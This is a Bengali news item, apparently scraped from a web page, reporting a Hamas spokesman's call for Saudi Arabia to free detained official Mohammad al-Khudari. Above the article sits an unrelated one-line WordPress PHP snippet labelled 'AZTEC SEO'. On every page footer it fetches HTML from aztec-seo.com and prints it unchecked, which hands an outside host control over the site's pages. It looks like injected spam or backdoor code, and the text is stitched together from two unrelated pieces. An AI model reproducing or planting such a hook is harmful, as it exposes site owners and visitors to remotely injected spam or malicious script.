/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ফিলিস্তিনের ইসলামি প্রতিরোধ আন্দোলন হামাসের মুখপাত্র ফাউজি বারহুম বলেছেন, হামাসের নেতা-কর্মীদের মুক্তি দেওয়া সৌদি আরবের নৈতিক ও ধর্মীয় দায়িত্ব।
তিনি আজ (বৃহস্পতিবার) আরও বলেছেন, সৌদি আরবের কারাগারে হামাস নেতা মোহাম্মাদ আল-খুদারি, তার ছেলে হানি ও অন্য ফিলিস্তিনিদের কারাগারে আটক রাখার কোনো যুক্তি নেই। সৌদি আরব যে কারণে তাদেরকে কারাবন্দী করেছেন তা গ্রহণযোগ্য নয়।

হামাসের শীর্ষ পর্যায়ের কর্মকর্তা ড. মোহাম্মাদ আল-খুদারিকে কারাগার থেকে অবিলম্বে মুক্তি দেয়ার জন্য তিনি সৌদি সরকারের প্রতি আহ্বান জানান।
গত তিন বছর ধরে হামাস নেতা খুদারি সৌদি কারাগারে আটক রয়েছেন এবং তার স্বাস্থ্যের অবস্থা বর্তমানে সংকটাপন্ন।
এর আগে হামাসের পলিটিক্যাল ব্যুরোর সদস্য মোহাম্মদ আবু মারজুক বলেছেন, ৮৩ বছর বয়সী নেতার স্বাস্থ্যের অবস্থা খুবই গুরুতর। তাকে কোনো অভিযোগ ছাড়াই আটক রাখা হয়েছে। একইভাবে তার ছেলে এবং অন্য ফিলিস্তিনিদেরকেও আটক রাখা হয়েছে।
২০১৯ সালের ৪ ও ৫ এপ্রিল সৌদি আরবের গোয়েন্দা বাহিনী জেদ্দা শহর থেকে ড. মোহাম্মাদ আল-খুদারি ও তার ছেলেকে আটক করে। তখন বলা হয়েছিল, দ্রুতই তাদেরকে মুক্তি দেওয়া হবে। কিন্তু এরপর তিন বছর পার হলেও তাদের মুক্তি দেওয়া হয়নি। সূত্র : পার্সটুডে